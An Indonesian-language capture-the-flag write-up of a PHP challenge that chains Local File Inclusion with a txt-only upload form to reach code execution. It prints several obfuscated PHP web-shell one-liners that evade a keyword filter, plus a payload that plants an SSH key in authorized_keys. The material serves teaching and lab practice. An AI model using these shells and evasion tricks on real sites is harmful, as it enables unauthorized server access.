Solution for Ramadhan Challenges

May 9, 2019

DMCA.com Protection Status

banner
Challenges ini dibuat ketika bingung mau menjelaskan bug LFI (Local File Inclusion) pada saat secure coding di STTS, karena cukup bosan dengan LFI to Local File Read via wrapper, saya mencari LFI to RCE selain melalui /self/proc/environ dan menemukan LFI to RCE via Access Log Posioning, namun karena di hosting tidak bisa baca log berbentuk txt maka terbuatlah fitur file upload yang hanya bisa upload txt. dan berikut adalah Write Up-nya.


tampilan awal
Di atas adalah tampilan ketika membaca lorem ipsum, terlihat pada url ada parameter / index page dengan value loremipusm.html, hal ini pun berlaku ketika membaca twice


membaca /etc/passwd
Kita coba langsung untuk membaca file /etc/passwd, dan berhasil. Terlihat jelas bahwa value parameter page langsung di include, kurang lebih source code seperti ini

<?php
...
if($_GET['page']) {
	include("article/".$_GET['page']);
} else
...

Terlihat dari error message ketika merubah value dari index page ke value yang tidak valid, setelah mencoba banyak cara untuk mendapatkan akses seperti RFI (Remote File Inclusion), Wrapper dan lain sebagainya, hasilnya gagal total, hal ini gagal karena ada kata ‘article’ di depan sebelum input parameter page, yang menyebabkan tidak bisa melakukan RFI dan wrapper


isi dari robots.txt
Membuka terminal dan melakukan pencarian folder lain menggunakan gobuster dan wordlist common web files, dan menemukan files robots.txt dan directory uploads, pada file robots.txt terdapat Disallow: uploads/, kita langsung ke diretory tersebut dan mendapatkan form upload


file too big
Lansung aja mengupload webshell php, namun gagal karena file terlalu besar
php one line web shell
Ganti ke one liner php web shell, biar file size makin kecil
file name alredy exist
Tapi gagal karena nama file sama dengan nama file sebelumnya, yaudah rubah lagi rename
upload
Namun gagal lagi karena file type (php) tidak dijinkan, lalu mencoba beberapa teknik bypass file type upload, tapi tidak ada yang berhasil. Sedikit mentok dan pusing, membuat file test.txt dengan isi kosong untuk melakukan pengecekan apakah file upload berjalan dengan baik atau tidak
upload berhasil
File test.txt kosongan tadi berhasil di upload
cek file terupload
Lalu mencoba mengakses di server, dan ternyata beneran berhasil di upload

Dari sini terlihat bahwa web ini memiliki kerentanan LFI dan ada fitur upload namun hanya file txt saja dan ukuran file cukup kecil, karena di LFI menggunakan fungsi include yang dimana ketika file yang di-include-kan mengandung tag php maka file tersebut akan dijalankan sebagai php, maka dari itu kita menggabungakan LFI dengan file upload tadi, dengan cara mengupload simple php backdoor dalam bentuk txt, dan memanggil file tersebut melalui LFI.

simple php web shell
Di atas adalah file shell yang akan diupload, namun ketika diupload, gagal
terdeteksi sebagai virus
File terdeteksi sebagai virus, setelah ditelusuri ternyata pada uploader ini melakukan pengecekan apakah file yang diupload mengandung kata php dan nama-nama fungsi shell exec lainnya,

improvement web shell
Setelah mencari tahu di google, ternyata php bisa berjalan dengan tag <?= dan ` sebagai fungsi shell exec tanpa harus memanggil nama fungsi, setelah di upload dan berhasil (yeayy), kita langsung panggil file ini dengan LFI pada loremipsum atau twice


running
File berjalan namun tidak ada interaksi karena memerlukan param / index c
berhasil
Langsung tambahkan param / index c dan berhasil


writing nickname to solver.txt
Write nick to solver.txt echo "nick" >> solver.txt

nick written
Nick tertulis :3
Namun ketika challenges ini dikerjakan oleh teman-teman yang ada pada group SHL, cukup menarik, karena banyak yang tidak menggunakan ` untuk menulis nick, ada yang melalui command php files, dan beberapa trik evasion agar file txt tidak terdeteksi sebagai malware/virus ketika di upload seperti berikut

<?=@$_GET[a]($_GET[b])?>

@ pada kode di atas untuk menonaktifkan display error yang akan muncul, kemudian ada 2 index / parameter yaitu a dan b yang dimana index / param b berada di dalam kurung setelah index /param a sehingga player melakukan request https://challshl/?page=../uploads/x.txt&a=system&b=id maka fungsi system akan terpanggil karena dengan request tersebut maka sama saja dengan <?php system('id') ?> karena pada server fungsi shell tidak dimatikan melalui php.ini

<?=file_put_contents('/home/challshl/.ssh/authorized_keys', 'ssh-rsa AAxa---snip---DDyt user@host')?>

Menggunakan fungsi file_put_contents() untuk memasukan public key ke dalam authorized_keys di folder .ssh
Dengan begini player mendapatkan akses shell melalui ssh tanpa harus login karena public key sudah tersimpan pada server

<?=
$func = "sh" . "ell" . "_" . "ex" . "ec"; 
$ups = $_GET['ups'];
echo "<pre>" . $func($ups) . "</pre>";

Kode di atas menggunakan fungsi shell_exec() yang dimana fungsi tersebut telah di block (check source code at here) namun tetap bisa digunakan karena tidak ada pengecekan kata sh, ell, ex, ec kata tersebut dipisah namun disatukan kembali sehingga dapat menggunakan fungsi shell_exec()

<?= 
$shell = "cexe_llehs";
print(strrev($shell($_GET['x'])));
?>

Kode di atas sangat sederhana, hanya membalik kata shell_exec menjadi cexe_llehs, karena kata tersebut tidak diblacklist maka file tetap terupload, tapi pada kode tersebut menggunakan fungsi strrev() dimana fungsi tersebut membalikan urutan kata, sehingga player dapat menjalankan fungsi shell_exec()

<?= 
$cmd = $_GET['x'];
$shell = "szhezlzl_ezxezc";
$shell = str_replace("z","",$shell);
echo $shell($cmd);
?>

Kode diatas dapat menjalankan fungsi shell_exec() karena dari kata szhezlzl_ezxezc dan dihilangkan huruf z menjadi shell_exec menggunakan fungsi str_replace()

Cukup banyak sekali tips dan trik untuk melakukan evasion agar webshell / backdoor tidak terdeteksi oleh waf atau sanitasi manual, dan sebagai langkah pencegahan untuk menghindari penggunaan shell dapat menonaktifkan fungsi shell seperti system, shell_exec dsb melalui file php.ini

Sekian see you on next challenges


comments powered by Disqus

Psst, Hey you → Click!